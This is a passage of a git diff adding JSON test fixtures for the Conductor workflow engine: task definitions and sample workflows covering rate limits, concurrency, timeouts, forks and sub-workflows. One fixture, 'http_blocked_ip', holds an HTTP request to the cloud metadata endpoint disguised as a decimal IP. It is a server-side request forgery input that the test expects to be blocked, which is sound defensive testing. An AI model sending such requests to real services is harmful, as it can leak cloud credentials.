"joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "enforceSchema": true, + "metadata": {}, + "maskedFields": [] + } +] \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/tasks_data.json b/e2e/src/test/resources/metadata/tasks_data.json new file mode 100644 index 0000000..ef0c557 --- /dev/null +++ b/e2e/src/test/resources/metadata/tasks_data.json @@ -0,0 +1,57 @@ +[ + { + "createTime": 1680695746698, + "createdBy": "test@conductor.io", + "name": "rate-limit-task-by-correlationId", + "retryCount": 0, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "inputTemplate": {}, + "rateLimitPerFrequency": 1, + "rateLimitFrequencyInSeconds": 10, + "ownerEmail": "test@conductor.io", + "backoffScaleFactor": 1 + }, + { + "createTime": 1680695772911, + "createdBy": "test@conductor.io", + "name": "task-concurrency-limit-test", + "retryCount": 0, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": 1, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "test@conductor.io", + "backoffScaleFactor": 1 + }, + { + "createTime": 1680695983031, + "createdBy": "test@conductor.io", + "name": "rate-limited-task", + "retryCount": 0, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "inputTemplate": {}, + "rateLimitPerFrequency": 1, + "rateLimitFrequencyInSeconds": 10, + "ownerEmail": "test@conductor.io", + "backoffScaleFactor": 1 + } +] \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/timed-out-tasks-not-removed.json b/e2e/src/test/resources/metadata/timed-out-tasks-not-removed.json new file mode 100644 index 0000000..85c33ea --- /dev/null +++ b/e2e/src/test/resources/metadata/timed-out-tasks-not-removed.json @@ -0,0 +1,34 @@ +{ + "name": "timed_out_task", + "description": "An issue was found in ahr5 - Tasks that (poll) timed out were not removed from queue", + "version": 1, + "tasks": [ + { + "name": "let_it_poll_timeout", + "taskReferenceName": "ref_1", + "inputParameters": {}, + "type": "SIMPLE", + "optional": true, + "taskDefinition" : { + "description": "meant to poll timeout", + "retryCount": 2, + "timeoutSeconds": 90, + "timeoutPolicy": "RETRY", + "retryLogic": "LINEAR_BACKOFF", + "retryDelaySeconds": 1, + "responseTimeoutSeconds": 30, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "pollTimeoutSeconds": 1, + "backoffScaleFactor": 1, + "totalTimeoutSeconds": 0 + } + } + ], + "inputParameters": [], + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io" +} \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/workflow_data.json b/e2e/src/test/resources/metadata/workflow_data.json new file mode 100644 index 0000000..2b3e49c --- /dev/null +++ b/e2e/src/test/resources/metadata/workflow_data.json @@ -0,0 +1,458 @@ +[{ + "createTime": 1685744302411, + "updateTime": 1685743597519, + "name": "this_will_fail", + "description": "Edit or extend this sample workflow. Set the workflow name to get started", + "version": 1, + "tasks": [ + { + "name": "http_task_lvome", + "taskReferenceName": "http_task_lvome_ref", + "inputParameters": { + "http_request": { + "uri": "https://orkes-api-tester.orkesconductor.com/api", + "method": "GET", + "connectionTimeOut": 3000, + "readTimeOut": "3000", + "accept": "application/json", + "contentType": "application/json" + } + }, + "type": "HTTP", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "set_variable_task_lxzgc", + "taskReferenceName": "set_variable_task_lxzgc_ref", + "inputParameters": { + "name": "Orkes" + }, + "type": "SET_VARIABLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "json_transform_task_518l3h", + "taskReferenceName": "json_transform_task_518l3h_ref", + "inputParameters": { + "persons": [ + { + "name": "some", + "last": "name", + "email": "mail@mail.com", + "id": 1 + }, + { + "name": "some2", + "last": "name2", + "email": "mail2@mail.com", + "id": 2 + } + ], + "queryExpression": ".persons | map({user:{email,id}})" + }, + "type": "JSON_JQ_TRANSFORM", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + }, + { + "name": "get_random_fact2", + "taskReferenceName": "get_random_fact", + "inputParameters": { + "http_request": { + "uri": "https://orkes-api-tester.orkesconductor.com/dddd", + "method": "GET", + "connectionTimeOut": 3000, + "readTimeOut": 3000, + "accept": "application/json", + "contentType": "application/json" + } + }, + "type": "HTTP", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [], + "outputParameters": { + "data": "${get_random_fact.output.response.body.fact}" + }, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} +},{ + "createTime": 1675358077891, + "updateTime": 1706394519053, + "name": "http", + "description": "Edit or extend this sample workflow. Set the workflow name to get started", + "version": 1, + "tasks": [ + { + "name": "simple_task_in8x5", + "taskReferenceName": "simple_task_in8x5_ref", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} +}, + { + "createTime": 1683925237233, + "updateTime": 1684171778146, + "name": "rate-limit-by-correlationId", + "description": "Workflow to monitor order state", + "version": 1, + "tasks": [ + { + "name": "rate-limit-task-by-correlationId", + "taskReferenceName": "rate-limit-task-by-correlationId", + "inputParameters": { + "value": "${workflow.input.value}", + "order": "123" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "name": "rate-limit-task-by-correlationId", + "retryCount": 0, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "inputTemplate": {}, + "rateLimitPerFrequency": 1, + "rateLimitFrequencyInSeconds": 10, + "ownerEmail": "test@conductor.io", + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [ + "value", + "inlineValue" + ], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "TIME_OUT_WF", + "timeoutSeconds": 600, + "variables": {}, + "inputTemplate": {}, + "rateLimitConfig": { + "rateLimitKey": "${workflow.correlationId}", + "concurrentExecLimit": 3 + } + }, + { + "createTime": 1683918616183, + "updateTime": 1684171797884, + "name": "task-rate-limit-test", + "description": "Workflow to monitor order state", + "version": 1, + "tasks": [ + { + "name": "rate-limited-task", + "taskReferenceName": "rate-limited-task", + "inputParameters": { + "value": "${workflow.input.value}", + "order": "123" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "name": "rate-limited-task", + "retryCount": 0, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "inputTemplate": {}, + "rateLimitPerFrequency": 1, + "rateLimitFrequencyInSeconds": 10, + "ownerEmail": "test@conductor.io", + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [ + "value", + "inlineValue" + ], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "TIME_OUT_WF", + "timeoutSeconds": 600, + "variables": {}, + "inputTemplate": {} + }, + { + "createTime": 1680681711955, + "updateTime": 1680695772601, + "name": "concurrency-limit-test", + "description": "Workflow to monitor order state", + "version": 1, + "tasks": [ + { + "name": "task-concurrency-limit-test", + "taskReferenceName": "task-concurrency-limit-test", + "inputParameters": { + "value": "${workflow.input.value}", + "order": "123" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "name": "task-concurrency-limit-test", + "retryCount": 0, + "timeoutSeconds": 0, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 3600, + "concurrentExecLimit": 1, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "test@conductor.io", + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [ + "value", + "inlineValue" + ], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "TIME_OUT_WF", + "timeoutSeconds": 600, + "variables": {}, + "inputTemplate": {} + }, + { + "createTime": 1706382117509, + "updateTime": 1706382542432, + "name": "test-sdk-java-workflow", + "version": 1, + "tasks": [ + { + "name": "test-sdk-java-task", + "taskReferenceName": "test-sdk-java-task", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {} + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} + }, + { + "createTime": 1754372618966, + "updateTime": 0, + "name": "http_async_complete", + "description": "singular async complete task", + "version": 1, + "tasks": [ + { + "name": "http", + "taskReferenceName": "http_ref", + "inputParameters": { + "uri": "http://httpbin-server:8081/api/hello?name=Orkes_Async", + "method": "GET", + "accept": "application/json", + "contentType": "application/json", + "encode": true + }, + "type": "HTTP", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": true, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "enforceSchema": true, + "metadata": {}, + "maskedFields": [] + }, + { + "createTime": 1747952107754, + "updateTime": 1763069136486, + "name": "http_blocked_ip", + "description": "should be blocked", + "version": 1, + "tasks": [ + { + "name": "http", + "taskReferenceName": "http_ref", + "inputParameters": { + "uri": "http://2852039166/latest/meta-data/", + "method": "GET", + "accept": "application/json", + "contentType": "application/json", + "encode": true + }, + "type": "HTTP", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "enforceSchema": true, + "metadata": {}, + "maskedFields": [] + } +] \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/workflow_rate_limit_in_progress_cleanup.json b/e2e/src/test/resources/metadata/workflow_rate_limit_in_progress_cleanup.json new file mode 100644 index 0000000..cc8c451 --- /dev/null +++ b/e2e/src/test/resources/metadata/workflow_rate_limit_in_progress_cleanup.json @@ -0,0 +1,179 @@ +[{ + "createTime": 1725404774601, + "updateTime": 1725404043148, + "name": "workflow_rate_limit_in_progress_child", + "description": "x", + "version": 1, + "tasks": [ + { + "name": "wait", + "taskReferenceName": "wait_ref", + "inputParameters": {}, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "enforceSchema": true +},{ + "createTime": 1725404730451, + "updateTime": 1725404809636, + "name": "workflow_rate_limit_in_progress_parent", + "description": "x", + "version": 1, + "tasks": [ + { + "name": "wait", + "taskReferenceName": "wait_ref", + "inputParameters": {}, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "fork", + "taskReferenceName": "fork_ref", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "sub_workflow_2", + "taskReferenceName": "sub_workflow_ref_2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "workflow_rate_limit_in_progress_child", + "version": 1 + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + [ + { + "name": "sub_workflow_1", + "taskReferenceName": "sub_workflow_ref_1", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "workflow_rate_limit_in_progress_child", + "version": 1 + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + [ + { + "name": "sub_workflow", + "taskReferenceName": "sub_workflow_ref", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "workflow_rate_limit_in_progress_child", + "version": 1 + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ] + ], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + }, + { + "name": "join", + "taskReferenceName": "join_ref", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {}, + "enforceSchema": true +}] \ No newline at end of file diff --git a/e2e/src/test/resources/metadata/workflows.json b/e2e/src/test/resources/metadata/workflows.json new file mode 100644 index 0000000..4c2da26 --- /dev/null +++ b/e2e/src/test/resources/metadata/workflows.json @@ -0,0 +1,594 @@ +[{ + "createTime": 1670136330055, + "updateTime": 1670176591044, + "name": "sub_workflow_test", + "version": 1, + "tasks": [ + { + "name": "x_test_worker_0", + "taskReferenceName": "simple_task_0", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "jq", + "taskReferenceName": "jq", + "inputParameters": { + "key1": { + "value1": [ + "a", + "b" + ] + }, + "queryExpression": "{ key3: (.key1.value1 + .key2.value2) }", + "value2": [ + "d", + "e" + ] + }, + "type": "JSON_JQ_TRANSFORM", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "wait", + "taskReferenceName": "wait", + "inputParameters": { + "duration": "1 s" + }, + "type": "WAIT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "set_state", + "taskReferenceName": "set_state", + "inputParameters": { + "call_made": true, + "number": "${simple_task_0.output.number}" + }, + "type": "SET_VARIABLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "sub_flow", + "taskReferenceName": "sub_flow", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "PopulationMinMax2a27fdfb-295d-4c70-b813-7e3a44e2cb58" + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "sub_flow_v1", + "taskReferenceName": "sub_flow_v1", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "PopulationMinMax2a27fdfb-295d-4c70-b813-7e3a44e2cb58", + "version": 1 + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "dynamic_fork", + "taskReferenceName": "dynamic_fork", + "inputParameters": { + "forkTaskName": "x_test_worker_0", + "forkTaskInputs": [ + 1, + 2, + 3 + ] + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "forkedTasks", + "dynamicForkTasksInputParamName": "forkedTasksInputs", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "dynamic_fork_join", + "taskReferenceName": "dynamic_fork_join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "fork", + "taskReferenceName": "fork", + "inputParameters": {}, + "type": "FORK_JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [ + [ + { + "name": "loop_until_success", + "taskReferenceName": "loop_until_success", + "inputParameters": { + "loop_count": 2 + }, + "type": "DO_WHILE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": true, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopCondition": "if ( $.loop_count['iteration'] < $.loop_until_success ) { true; } else { false; }", + "loopOver": [ + { + "name": "fact_length", + "taskReferenceName": "fact_length", + "description": "Fail if the fact is too short", + "inputParameters": { + "number": "${get_data.output.number}" + }, + "type": "SWITCH", + "decisionCases": { + "LONG": [ + { + "name": "x_test_worker_1", + "taskReferenceName": "simple_task_1", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "SHORT": [ + { + "name": "too_short", + "taskReferenceName": "too_short", + "inputParameters": { + "terminationReason": "value too short", + "terminationStatus": "FAILED" + }, + "type": "TERMINATE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "evaluatorType": "javascript", + "expression": "$.number < 15 ? 'LONG':'LONG'" + } + ] + }, + { + "name": "sub_flow_inline", + "taskReferenceName": "sub_flow_inline", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "inline_sub", + "version": 1, + "workflowDefinition": { + "name": "inline_sub", + "version": 1, + "tasks": [ + { + "name": "x_test_worker_2", + "taskReferenceName": "simple_task_0", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "fact_length2", + "taskReferenceName": "fact_length2", + "description": "Fail if the fact is too short", + "inputParameters": { + "number": "${get_data.output.number}" + }, + "type": "SWITCH", + "decisionCases": { + "LONG": [ + { + "name": "x_test_worker_1", + "taskReferenceName": "simple_task_1", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "SHORT": [ + { + "name": "too_short", + "taskReferenceName": "too_short", + "inputParameters": { + "terminationReason": "value too short", + "terminationStatus": "FAILED" + }, + "type": "TERMINATE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + }, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "evaluatorType": "javascript", + "expression": "$.number < 15 ? 'LONG':'LONG'" + }, + { + "name": "sub_flow_inline_lvl2", + "taskReferenceName": "sub_flow_inline_lvl2", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "inline_sub", + "version": 1, + "workflowDefinition": { + "name": "inline_sub", + "version": 1, + "tasks": [ + { + "name": "x_test_worker_2", + "taskReferenceName": "simple_task_0", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} + } + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "taskDefinition": { + "name": "sub_flow_inline", + "description": "sub_flow_inline", + "retryCount": 0, + "timeoutSeconds": 3000, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 20, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "pollTimeoutSeconds": 3600, + "backoffScaleFactor": 1 + } + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} + } + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "taskDefinition": { + "name": "sub_flow_inline", + "description": "sub_flow_inline", + "retryCount": 0, + "timeoutSeconds": 3000, + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 20, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "pollTimeoutSeconds": 3600, + "backoffScaleFactor": 1 + } + } + ], + [ + { + "name": "x_test_worker_2", + "taskReferenceName": "simple_task_2", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "x_test_worker_1", + "taskReferenceName": "simple_task_5", + "inputParameters": {}, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ] + ], + "startDelay": 0, + "joinOn": ["sub_flow_inline","simple_task_5"], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "fork_join", + "taskReferenceName": "fork_join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": ["simple_task_5","sub_flow_inline"], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "sub_flow_v0", + "taskReferenceName": "sub_flow_v0", + "inputParameters": {}, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "PopulationMinMax2a27fdfb-295d-4c70-b813-7e3a44e2cb58", + "version": 0 + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} +}, + { + "createTime": 1670136356629, + "updateTime": 1670136356636, + "name": "PopulationMinMax2a27fdfb-295d-4c70-b813-7e3a44e2cb58", + "description": "PopulationMinMax v3", + "version": 3, + "tasks": [ + { + "name": "x_test_worker_4", + "taskReferenceName": "x_test_worker_4", + "inputParameters": { + "name": "Orkes" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": { + "data": "${get_random_fact.output.response.body.fact}" + }, + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "test@conductor.io", + "timeoutPolicy": "ALERT_ONLY", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} + }, + { + "createTime": 1670136356629, + "updateTime": 1670136356636, + "name": "PopulationMinMax2a27fdfb-295d-4c70-b813-7e3a44e2cb58", + "description": "PopulationMinMax v1", + "version": 1, + "tasks": [ + { + "name": "x_test_worker_1", + "taskReferenceName": "x_test_worker_1", + 